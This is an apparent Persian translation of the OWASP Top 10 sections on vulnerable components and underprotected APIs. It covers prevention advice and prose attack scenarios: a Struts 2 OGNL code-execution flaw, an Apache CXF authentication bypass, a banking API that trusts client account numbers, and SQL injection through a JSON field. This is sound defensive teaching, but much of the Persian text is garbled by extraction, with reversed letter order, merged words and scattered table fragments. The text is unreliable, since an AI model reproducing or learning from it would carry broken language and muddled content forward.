• OWASP CSRF Prevention Cheat Sheet 

• OWASP CSRFGuard - Java CSRF Defense Tool 

• OWASP CSRFProtector - PHP and Apache CSRF Defense Tool 

• ESAPI HTTPUtilities Class with AntiCSRF Tokens 

• OWASP Testing Guide: Chapter on CSRF Testing 

• OWASP CSRFTester - CSRF Testing Tool 

 :منابع خارجی

• CWE Entry 352 on CSRF 

• Wikipedia article on CSRF 

4-9 A9 :Using Components with Known Vulnerabilities 

با برنامه  یمشابه ازاتیامت یدارا ،یافزارنرم یهاماژول گریو د هاچارچوب، هاکتابخانهها مانند کامپننت

باعث از دست  تواندیم یاحمله نیچن رد،یقرار گ موردحمله ریپذبیآسکامپننت  کیاست. اگر  یکاربرد

 یهایریپذبیآسها با ها از کامپننت APIو  افزارهانرمانتقال سرور شود. استفاده  ایطلاعات مهم رفتن ا

 داشته باشد. یرا در پ یمختلف تأثیراتکند و حملات و  فیرا تضع افزارهانرمحفاظت  تواندیم، شدهشناخته
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 عوامل تهدید

 

 یهایژگیو

 کاربردی

چارچوب(  یهاکتابخانه، مثالعنوانبه) ریپذبیآس هایکامپننتاز  یبرخ

 رند،یقرار گ یبرداربهرهو مورد  شدهشناختهخودکار  یبا ابزارها توانندیم

را فراتر از مهاجمان هدف قرار  دیعامل تهد یاستراتژ ن،یعلاوه بر ا

 را شامل شوند. ها actorتا  دهدیم

 
 وریبهره

 متوسط

 یدست لیوتحلهیتجز ایسکن ا قیرا از طر فیضع کامپننت کیمهاجمان 

و حمله را  کنندیم سوءاستفادهاز آن  دلخواهبه هاآن. دهندیم صیتشخ

کار باشد،  قیدر برنامه عم مورداستفاده کامپننت. اگر کنندیماجرا 

 .شودیم ترمشکلمهاجم 

 
 شیوع

 رایج

 یهاگروهچون ، دارند رامسائل  نیها ا APIو  افزارهانرماز  یاریبس

توجه  هاکتابخانهها و به بروزبودن کامپننت هاآن یدهندهتوسعه

 هایکامپننتتمام  یحت دهندگانتوسعهموارد،  ی. در برخاندنکرده

توجه  هاآن یهانسخههرگز به و ، دانندینمخود را  مورداستفاده

. ابزارها کندیم ترسخترا  زیچهمه کامپننت یهایوابستگ. کنندینم

 یریپذبیآسبا  هایکامپننت ییکمک به شناسا یبرا ولطورمعمبه

 .ندیآیمبه وجود  شدهشناخته
 ییشناساقابل

 متوسط

 
 ریتأث

 متعادل

 یکنترل دسترس ق،یتزر ازجملهاست،  ریپذامکان زیادی نقاط ضعف

از  اده راتسخیر دو  تصاحب تواندیم ضربه نی. ارهیو غ XSS، شدهنقض

 .را بگیردآن حداقل تا کامل 

 
 یهایژگیو

 کاربردی/تجاری

را  قرارگرفته ریتأثتحت  افزارنرمتحت کنترل  یریپذبیآستجاری  ریتأث

تسخیر  یبه معنا تواندیم ایباشد  تیاهمیب تواندیم نی. ادر نظر بگیرید

 کامل باشد.

 

 هستید؟ ریپذبیآسآیا شما به این نقص  1-9-4

و طرف سرور( را کنترل  گیرندهسیسرو)هر دو طرف  ییهاکامپننت مداوم طوربهبایستی است که  نیچالش ا

 رایدشوار باشد ز اریبس تواندیمنظارت  نی. ادیکنیماستفاده  ،دیجد یریپذبیآس یهاگزارش یکه برا دیکن

 قیجزء دق مثلا ) ازیموردن اتیجزئ یتجوکردن و جسدایپ یو برا اندنشدهاستاندارد  یریپذبیآس یهاگزارش

 یرهایمس

 حمله

 ضعف امنیتی

 فنی اتریتأث

 تجاری راتیتأث
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از  یاری. بدتر از همه، بسکندیمرا سخت  کار است( یریپذبیآس یخانواده محصول که دارا کی در

 .اندنشدهگزارش  NVDو  CVEمانند  کز اصلیامرهرگز به  هایریپذبیآس

 نیازمند نیو همچن است هاداده گاهیپا نیجستجو در ا ازمندین ر،یخ ای هستید ریپذبیآس ایآ نکهیا نییتع

. است ،باشد یریپذبیآس کیکه ممکن است  یزیهر چ یبرا هاهیاطلاعپروژه و  پستی یهافهرست یدارنگه

 کامپننت کیدر  یریپذبیآسخودکار انجام داد. اگر  یبا ابزارها ای یدست صورتبه توانیمرا  ندیفرآ نیا

کد شما از قسمت  ایآ نکهیا یبررس ی. براریخ ایاست  ریپذبیآس واقعا  ایکه آ دیکن یبررس دقتبهکشف شد، 

. هر دیکن یرا بررس مطمئنیدکه در مورد آن  یریتأث دیتوانیم ر،یخ ای کندیماستفاده  کامپننت یریپذبیآس

 د.نمبهم باش توانندیم یریپذبیآس یهاگزارش رایمشکل باشد ز تواندیم تستدو 

 چگونه از این نقص پیشگیری کنیم؟ 2-9-4

 حلراهتنها  نی. بنابراکنندینم جادیا یمیقد یهانسخه یرا برا یریپذبیآس یهاپچ ،امپننتموارد کاکثر 

داشته باشد.  ازیکد را ن راتییتغ ریسا تواندیمارتقاء داده شود، که  یاست که به نسخه بعد نیمشکل ا

 را در نظر داشته باشند تا: یندیفرا دیبا یافزارنرم یهاپروژه

را با  هاآن یهایوابستگو سرور و  رندهیگسیسروسمت  هایکامپننتاز  ییهانسخهمداوم  طوربه .1

 .دیکن یبندفهرست رهیو غ versions ،DependencyCheck ،retire.jsمانند  ییاستفاده از ابزارها

. از دیکن مانیتورخود  کامپننتموجود در  یهایریپذبیآس یرا برا NVDمداوم منابع مانند  طوربه .2

 .دیاستفاده کن ندیفرآ یسازنهیبه یبرا افزارنرم ساخت لیوتحلهیتجزابزار 

هایی کامپننت عنوانبهرا  هاکتابخانهند، کن رییتغ جراازمان قبل از  هاکتابخانه نکهیاز ا نانیاطم یبرا .3

 کنید. لیوتحلهیتجزاست، شده ن رددرخواست یا بار  هیچ که

که  یپچ مجاز گسترش ای (ازیقت در صورت نمطاب یبرا افزارنرمبازنویسی  )و هاکامپننتارتقاء  یبرا .4

و از مورد  دستور صادر کنید کندیم لیوتحلهیتجزکد را  یاجرا ایداده  انی، جرHTTP کیتراف

 .جلوگیری کنید هایریپذبیآسگرفتن قرار  سوءاستفاده

 نمونه سناریو حمله 3-9-4

 تواندیم کامپننتنقص در هر  نینابرا، بشوندیمکامل از برنامه اجرا  یبا دسترس شهیهم با یتقر هاکامپننت

از  یباشد. بعض یعمد ای( یسینوبرنامه یخطا مثلا ) یتصادف تواندیم ینقص نیشود. چن یجد ریتأثمنجر به 

 :شامل رندیگیمقرار  سوءاستفادهکامپننت که مورد  یریپذبیآسموارد 

• Apache CXF Authentication Bypass-  هر  توانندیممهاجمان  ،تیشناسه هو کیبا عدم ارائه

نباید است، که  سیچارچوب سرو کی Apache CXFکنند. ) فراخوانیوب را با مجوز کامل  سیسرو

 اشتباه گرفته شود(. Application Apacheبا سرور 



 

32 

 

 
 

• Struts 2 Remote Code Execution- حمله در  ارسالheader Content-Type  که  شودیمسبب

کد دلخواه در سرور را فراهم  یشود که امکان اجرا یبررس OGNLارت عب کی عنوانبههدر  یمحتوا

 .کندیم

هر  رایمستعد حمله هستند، ز که ،کنندیماستفاده  این دو نوع کامپننتاز  ریپذبیآسنسخه  کیاز  افزارهانرم

 ریپذبیآس یاهکتابخانه گریهستند. د یدسترسقابل افزارنرمتوسط کاربران  میمستق طوربه نوع کامپننتدو 

 باشد. ترسخت هاآناز  سوءاستفاده، ممکن است شوندیماده استف افزارهانرمدر  ترقیعمکه 

 منابع 4-9-4

 :OWASPمنابع 

• OWASP Dependency Check (for Java and .NET libraries) 

• OWASP Virtual Patching Best Practices 

 :منابع خارجی

• The Unfortunate Reality of Insecure Libraries 

• MITRE Common Vulnerabilities and Exposures (CVE) search 

• National Vulnerability Database (NVD) 

• Retire.js for detecting known vulnerable JavaScript libraries 

• Node Libraries Security Advisories 

• Ruby Libraries Security Advisory Database and Tools 

4-10 A10 :Underprotected APIs 

در مرورگر و  پتیمدار مانند جاوا اسکر یمشتر یکاربرد یهابرنامهها و  APIمدرن اغلب شامل  یافزارهانرم

( متصل رهیو غ SOAP/XML ،REST/JSON ،RPC ،GWT) APIتلفن همراه هستند که به انواع  یهابرنامه

 .دهستن یادیز یهایریپذبیآس ینشده و دارا ها اغلب محافظت API نی. اشوندیم
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 عوامل تهدید

 

 یهایژگیو

 کاربردی

در نظر ی شما را ها APIارسال درخواست به  ییرا با توانا یهرکس

 یراحتبهو ارتباطات  شودیممعکوس  یراحتبه یمشتر افزارنرم. دیریبگ

 .متوقف شود توانندیم

 
 وریبهره

 متوسط

نظارت بر  ایو  یکد مشتر یها را با بررس API دتواننیممهاجمان 

 API یهایریپذبیآساز  یمعکوس کنند. برخمهندسی ارتباطات، 

تنها توسط  هایریپذبیآسر گیخودکار کشف شود، و د طوربه تواندیم

 .شوندیمکشف  نیمتخصص

 
 شیوع

 رایج

 هستند ارزشمند انیمدرن وب شامل مشتر یها APIو  افزارهانرم

 شوندیموصل  داخلی یها APIکه به  (دسکتاپ ل،ی)مرورگر، موبا

(XML ،JSON ،RPC ،GWT ،custom .)API  ها

 به توانندیم( یانی، نقاط پاهاسیسرو کروسافت،یما یهاسیسرو)

اوقات  یو گاه ایپو یباشند. متأسفانه، ابزارها ریپذبیآس زیادی حملات

 آنالیز دستی رویندارند و  یبخو اییها کار API یبر رو کیاستات یحت

 .اندنشدهکشف  هایریپذبیآس اغلب نیمشکل باشد، بنابرا تواندیم هاآن
 ییشناساقابل

 دشوار

 
 ریتأث

 متعادل

سرقت اطلاعات،  ازجمله، داشته باشد ممکن استزیادی  یمنف جینتا 

 زبانیم تصاحب؛ و افزارنرم کلبه رمجازیغ یدسترس ب؛یفساد و تخر

 کامل.

 
 یهایژگیو

 کاربردی/تجاری

به  یدسترس API ای. آدیریرا در نظر بگ وکارکسببه  APIحمله  ریتأث

 تیمأمورها  APIاز  یاری؟ بسدهدیمرا  هاتیفعال ای یاتیح یهاداده

را در نظر  سیحملات انکار سرو ریتأث نیهستند، و همچن یاتیح

 .رندیگیم

 

 تید؟هس ریپذبیآسآیا به این حمله  1-10-4

احراز  ق،ی. انواع مختلف تزراستشما  یافزارهانرمبقیه  یریپذبیآس تستها مشابه  API یریپذبیآستست 

 یسنت افزارنرم کیها همانند  APIدر  توانندیممسائل  ریو سا یکربندیپ ،یرمزگذار ،یکنترل دسترس ت،یهو

 وجود داشته باشند.

 یرهایمس

 حمله

 ضعف امنیتی

 فنی راتیتأث

 تجاری راتیتأث
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اغلب فاقد  هاآن(، هاانسان)نه  اندشدهیطراح هابرنامهاده توسط استف یها برا API نکهیا لی، به دلحالنیباا

 نی. اکنندیمداده استفاده  دهیچیپ یو ساختارها دهیچیپ یهاپروتکلاز  نیهستند و همچن یرابط کاربر کی

کمک کند، مانند  تواندیمگسترده  یهافرمتد. استفاده از نرا دشوار کن یتیتست امن توانندیمعوامل 

Swagger (OpenAPI) ،REST ،JSON  وXMLمانند  هاچارچوباز  ی. بعضGWT از  یو برخ

پروتکل  یهافرمتها  APIو  افزارهانرماز  ی. برخکنندیماستفاده  یسفارش یهاقالباز  RPC یهایسازادهیپ

 یتیست امنکه ت شودیمها باعث  API یدگیچی. وسعت و پکنندیم جادیا WebSocketsو داده خود را مانند 

 نادرست شود. تیمنجر به حس امن احتمالا انجام شود و  خودکار صورتبه مؤثر

تست تمام  یبرا یاستراتژ کیبا دقت  باید شما امن هستند،  یها API ایآ نکهیدانستن ابرای  ،تیدرنها

 .انتخاب کنید که مهم هستندهایی مقابله

 چگونه از این حمله پیشگیری کنیم؟ 2-10-4

 :باشیددرک کرده  کاملا را  دیهستو نوع محافظتی که دارا  دیاست که مدل تهد نیها ا APIز محافظت ا دیکل

 .دیاکردهخود را امن  یها APIو  یمشتر نیکه شما ارتباطات ب دیحاصل کن نانیاطم .1

و تمام مدارک،  دیدار، خود یها API یبرا یقو تیطرح احراز هو کیکه شما  دیحاصل کن نانیاطم .2

 .اندشدهامن  هانشانهو  دیکل

 فعالیت ازجملهها را از عدم استفاده مجدد،  APIکه  دیرا اجرا کن یطرح کنترل دسترس کی .3

 .کندیمو مراجع داده محافظت  رمجازیغ

ها به همان اندازه  APIحملات با استفاده از  نیکه ا بیترتنیابه، نوع از هر قیحفاظت در مقابل تزر .4

 هستند. اجراقابلاسب هستند، من یمعمول یهابرنامه یکه برا

و  دهدیشما را پوشش م یها APIشما تمام  یتیو تست امن لیوتحلهیکه تجز دیحاصل کن نانیاطم .5

 د.نکن لیوتحلهیها را کشف و تجزطور مؤثر آنبه توانندیشما م یابزارها

 نمونه سناریو حمله 3-10-4

اطلاعات حساب و انجام معاملات به  یکه برا دیتلفن همراه تصور کن یبرنامه بانکدار ک: ی1سناریو شماره 

API XML  و متوجه  کندیم ییمعکوس برنامه را شناسابا مهندسی  کنندهحمله. شودیمدر بانک متصل

عبور به رمزو  یکاربرنام باهمراه  تیاز درخواست احراز هو یبخش عنوانبهکاربر  حسابشمارهکه  شودیم

کامل  یدسترس ،انگریکاربر د حسابشمارهاست، اما  یقانون مجوز ی. مهاجم داراشودیمسرور منتقل 

 .دهدیمرا  گرید یکاربر حساببه
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ارسال خودکار  یبراکه  دیتصور کنرا  شدهیاندازراه نترنتیتوسط ا که یعموم API ک: ی2سناریو شماره 

. ردیپذیماست را  transactionid لدیف یرا که حاو JSON یهاامیپ ،API. است شدهارائهی متن یهاامیپ

API، مقدار نیا transactionid  و آن را بدون  کندیم پارس رشتهکی عنوانبهراescape  ایکردن 

 به گرید یافزارهانرم ندهمان API دینیبیمکه  طورهمان. دهدیم وندیپ query SQL کیبه ، پارامترکردن

SQL injection است ریپذبیآس. 

 بنابراینخدمات ارائه نکند،  نیاستفاده از ا یوب را برا UI کنندهعرضهد، ممکن است موار نیاز ا کیدر هر 

 .شودیم ترسخت یتیتست امن
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